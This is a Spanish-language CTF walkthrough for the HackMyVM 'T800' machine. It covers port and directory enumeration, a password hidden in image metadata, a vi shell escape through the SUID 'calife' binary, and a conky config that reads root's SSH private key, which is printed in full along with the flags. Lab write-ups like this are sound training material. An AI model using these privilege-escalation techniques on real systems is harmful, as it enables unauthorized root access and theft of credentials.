t800 HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 11:15 EDT
Nmap scan report for 192.168.28.22
Host is up (0.00086s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
800/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b6:be:5a:0b:ec:0b:53:69:b6:7b:54:46:7d:40:56:75 (RSA)
| 256 a3:3c:a5:67:ba:42:94:04:49:47:24:30:63:91:ef:c3 (ECDSA)
|_ 256 b2:75:86:d8:45:99:9a:9d:89:10:41:9a:d0:03:6c:a8 (ED25519)
MAC Address: 08:00:27:40:81:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
Veremos que hay un puerto 80
en el que esta alojada una pagina web, vamos a ver que contiene, si entramos dentro veremos una imagen de un señor, pero poco mas, por lo que vamos a realizar un poco de fuzzing
:
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.28.22/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 160]
/robots.txt (Status: 200) [Size: 13]
/robots.txt (Status: 200) [Size: 13]
/sexy (Status: 403) [Size: 169]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Veremos que hay 2
rutas interesantes, entre ellas la llamada sexy
y la otra llamada robots.txt
, vamos a ver que hay en el robots.txt
:
URL = http://<IP>/robots.txt
Info:
/sexy/*.jpeg
Veremos que tendremos que realizar fuzzing
en busca de una imagen en la pagina del directorio llamado sexy
, por lo que haremos lo siguiente:
gobuster dir -u http://<IP>/sexy/ -w <WORDLIST> -x jpeg -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.28.22/sexy/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: jpeg
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/nudeslut.jpeg (Status: 200) [Size: 11863]
Veremos que nos ha encontrado una imagen, por lo que vamos a ver que contiene:
curl -O http://<IP>/sexy/nudeslut.jpeg
Si la abrimos veremos una imagen del mismo hombre pero con otra pose, por lo que vamos a ver si a nivel de metadatos
vemos algo interesante:
exiftool
exiftool nudeslut.jpeg
Info:
ExifTool Version Number : 13.10
File Name : nudeslut.jpeg
Directory : .
File Size : 12 kB
File Modification Date/Time : 2025:04:25 11:09:41-04:00
File Access Date/Time : 2025:04:25 11:09:41-04:00
File Inode Change Date/Time : 2025:04:25 11:09:41-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : passwd:chmodxheart
Image Width : 275
Image Height : 183
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 275x183
Megapixels : 0.050
Veremos algo muy interesante en los metadatos
y es que hay unas credenciales en ellos, por lo que vamos a probarlo con el servidor SSH
de la siguiente forma:
SSH
Si miramos en la pagina principal el codigo veremos esta parte del codigo en HTML
:
<!-- Im ruut-->
Vemos lo que parece ser un nombre de usuario, por lo que vamos a probarlo por SSH
.
ssh ruut@<IP> -p 800
Metemos como contraseña chmodxheart
y veremos que estamos dentro.
Info:
The authenticity of host '[192.168.28.22]:800 ([192.168.28.22]:800)' can't be established.
ED25519 key fingerprint is SHA256:NQDCK+YQrbsHYi1VtpjQA0dziHvQ5rqh5HTcD1GL/lo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.28.22]:800' (ED25519) to the list of known hosts.
ruut@192.168.28.22's password:
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 8 08:20:55 2021 from 192.168.1.58
ruut@t800:~$ whoami
ruut
Escalate user superruut
Si listamos los permisos SUID
veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
137981 704 -rwsr-sr-x 1 root root 718872 May 15 2018 /usr/bin/conky
131121 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
134473 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
134620 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
134946 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
137759 20 -rwsr-xr-x 1 root root 19016 Mar 27 2018 /usr/bin/calife
131120 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
131118 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
131117 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
134948 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
146938 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
268129 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
135697 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Veremos esta linea de aqui:
137981 704 -rwsr-sr-x 1 root root 718872 May 15 2018 /usr/bin/conky
Y seguidamente esta:
137759 20 -rwsr-xr-x 1 root root 19016 Mar 27 2018 /usr/bin/calife
Veremos que esos binarios
no suelen ser muy comunes, por lo que vamos a investigar a ver que hacen:
En el binario
conky
no veremos gran cosa, pero si buscamos con calife
veremos lo siguiente:
URL = Manual binario calife
Vemos que si ejecutamos el binario junto con el nombre de un usuario podremos obtener una shell
de dicho usuario, vamos a probar con root
:
Tambien lo podemos descubrir por que si intentamos obtener la ayuda del binario
veremos lo siguiente:
Unknown user --help.
Nos indica que no es un usuario valido
por lo que vamos a intentar con root
:
/usr/bin/calife root
Metemos como contraseña chmodxheart
pero no nos dejara, por lo que vamos a probar con el otro usuario llamado superruut
:
/usr/bin/calife superruut
Metemos como contraseña chmodxheart
y nos llevara a un editor de texto vi
por lo que vamos aprobechar eso enviando un comando para obtener una shell
de la siguiente forma:
:set shell=/bin/bash
:shell
Info:
superruut@t800:/etc$ whoami
superruut
Con esto veremos que seremos dicho usuario, por lo que leeremos la flag
del usuario:
userflag.txt
ruutrulezhmv
Escalate Privileges
Como antes hemos visto tenemos con permisos SUID
el binario
conky
por lo que vamos a investigar sobre el.
Si investigamos veremos que desde los archivos de configuracion si el out_to_console
esta en True
podremos exfiltrar
informacion que nosotros modifiquemos dentro de dicho archivo, por lo que podremos hacer lo siguiente:
Primero vamos a ver donde se encuentra el archivo de configuracion:
find / -name "conky*" 2>/dev/null
Info:
/etc/conky
/etc/conky/conky_no_x11.conf
/etc/conky/conky.conf
/usr/bin/conky
/usr/share/doc-base/conky-manual
/usr/share/apport/package-hooks/conky.py
/usr/share/doc/conky
/usr/share/doc/conky-std
/usr/share/doc/conky-std/conky_no_x11.conf
/usr/share/doc/conky-std/conky.conf
/usr/share/vim/addons/ftdetect/conkyrc.vim
/usr/share/vim/addons/syntax/conkyrc.vim
/usr/share/man/man1/conky.1.gz
/var/lib/dpkg/info/conky-std.md5sums
/var/lib/dpkg/info/conky-std.list
/var/lib/dpkg/info/conky.list
/var/lib/dpkg/info/conky-std.conffiles
/var/lib/dpkg/info/conky.md5sums
/var/cache/apt/archives/conky_1.10.8-1_all.deb
/var/cache/apt/archives/conky-std_1.10.8-1+b1_amd64.deb
Veremos que el que nos interesa es el siguiente:
/etc/conky/conky.conf
Pero si leemos el archivo veremos lo siguiente:
conky.config = {
alignment = 'top_left',
background = false,
border_width = 1,
cpu_avg_samples = 2,
default_color = 'white',
default_outline_color = 'white',
default_shade_color = 'white',
draw_borders = false,
draw_graph_borders = true,
draw_outline = false,
draw_shades = false,
use_xft = true,
font = 'DejaVu Sans Mono:size=12',
gap_x = 5,
gap_y = 60,
minimum_height = 5,
minimum_width = 5,
net_avg_samples = 2,
no_buffers = true,
out_to_console = false,
out_to_stderr = false,
extra_newline = false,
own_window = true,
own_window_class = 'Conky',
own_window_type = 'desktop',
stippled_borders = 0,
update_interval = 1.0,
uppercase = false,
use_spacer = 'none',
show_graph_scale = false,
show_graph_range = false
}
Por lo que vemos la opcion que necesitamos esta desactivada, por lo que vamos a crear un archivo de configuracion en nuestra /home
de la siguiente forma:
nano /home/superruut/conky.conf
#Dentro del nano
conky.config = {
out_to_console = true, # <--------- Modificamos esta parte de aqui
out_to_x = false,
}
conky.text = [[
${tail /root/.ssh/id_rsa 30} # Añadimos esto de aqui para poder leer la id_rsa de root (Si existiera)
]]
Vamos a ver si con esto funciona, ahora ejecutamos el binario
para probarlo:
conky -c /home/superruut/conky.conf
Info:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA9qeXI0DQ29nXEAmGT7bQo0ZCAJkEwTTcIDwpWvqe/u4iBThfwW1f
d9IigvM+GKq43bde3p6xBFTC5/ZO1bWN/g0Pi3GVmsScOuZanV/PQiZ4UnmeFV5fevm6ED
piwXKKCKxGUS/vkLt4n9gNkmbjnTTzWVgJe9MhFOKEkzUQFwn/pIBT3H0D/N5A7Yxu4FiF
2FQUZqacBJU+m/iHL4ep/2j+IcDzjSPI3RGwuOW+qrJPg5rGeJt4JhuicobXip5W3f2cyx
tBazXKFOCcpZD068j9zbM5j6TxpLNK0+fDVeBv9sK4mbdCbO62Xms2+4IWKZQl20sFSKKe
EsuMtD5hhQAAA8Cn+gd6p/oHegAAAAdzc2gtcnNhAAABAQD2p5cjQNDb2dcQCYZPttCjRk
IAmQTBNNwgPCla+p7+7iIFOF/BbV930iKC8z4Yqrjdt17enrEEVMLn9k7VtY3+DQ+LcZWa
xJw65lqdX89CJnhSeZ4VXl96+boQOmLBcooIrEZRL++Qu3if2A2SZuOdNPNZWAl70yEU4o
STNRAXCf+kgFPcfQP83kDtjG7gWIXYVBRmppwElT6b+Icvh6n/aP4hwPONI8jdEbC45b6q
sk+DmsZ4m3gmG6JyhteKnlbd/ZzLG0FrNcoU4JylkPTryP3NszmPpPGks0rT58NV4G/2wr
iZt0Js7rZeazb7ghYplCXbSwVIop4Sy4y0PmGFAAAAAwEAAQAAAQB0tI1Vl9h6/dK9etQ7
KXQEnTyjjcNrK3iwI+cpbgYG92PPdoIQQpD2X84GidMq1rSL67SOvyVguD5UhP1+Lt5Vg5
aEUyUHStnlIJNlfSzSzuMFmxfKYpHo3PpFrWqGv4xCWEkZJwZCRAHqF88sI1S1UJWIA5jR
Ju+zMw6pnGTVkO7B+f6IQCNdKVXYcyjvMmgia3F8FymGxLjLF3gjZ5y+BeyH7WU7NUbTJz
UycA8KeIwet0yxDb99DyHNNw2jY4QvOYSqJbkmKCOPv4QSji+qVvcY5UHPLFpa65rMai15
MkNAic3cHZnOjTAxmOiGWFjLNSjOoOjl+2+YsPLiC2ohAAAAgCM8OD2TcU9IoViI3Q126J
vskHgBTCT0uFHcF8JoiWZx3OcMbtIg+ClXpvOiMDbNuRLStMvW6CvaANz9qPr6fpz6uQsz
BisQVyF6YigjPIfhkuJ3ThkwMjVGSxpghzUVjUXbaX+nAeWK5yM081/qEBW+n9VktYmWsj
0Vo9SO/d2+AAAAgQD8F15FPhU50yOxOVwrx6+YTz71zgG1C3G9R6Ie1EuY4GbTpW5IqHeP
izBlAKPh2veQhaPbonvKjhzGVdsRIrS3j4uYQVUeyqeqR07BjgWFMu8NEDuF+H8QxWbLVh
fFFqaUkw4++OZMsez7lfB/k/pkSoSY5tsf5Pbtq/pgKaEyjQAAAIEA+nqkc4BCKd5VDLJK
KC4ORY8QJoAzuF7azzTqDvC2vJPtkEElm1fE4iDQ/OoA+jBhyU84umffuagnr2vT2WgkeO
L99/4JC4VCcmTFi8mVkpK6zf4/M8GQckso0cAyTXT/UhMYnw9fUj4EF8S6/nmxjuMyfQxD
6ewvAde96sKmqNkAAAAJcm9vdEB0ODAwAQI=
-----END OPENSSH PRIVATE KEY-----
Veremos que ha funcionado de forma correcta, por lo que haremos lo siguiente:
Maquina Host
nano id_rsa
#Dentro del nano
<ID_RSA_ROOT>
Lo guardamos y establecemos los permisos necesarios:
chmod 600 id_rsa
Ahora vamos a conectarnos mediante la clave PEM
de la siguiente forma:
ssh -i id_rsa root@<IP> -p 800
Info:
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 8 08:18:02 2021
root@t800:~# whoami
root
Con esto ya seremos root
por lo que leeremos la flag
de root
:
rootflag.txt
hmvtitoroot
Last updated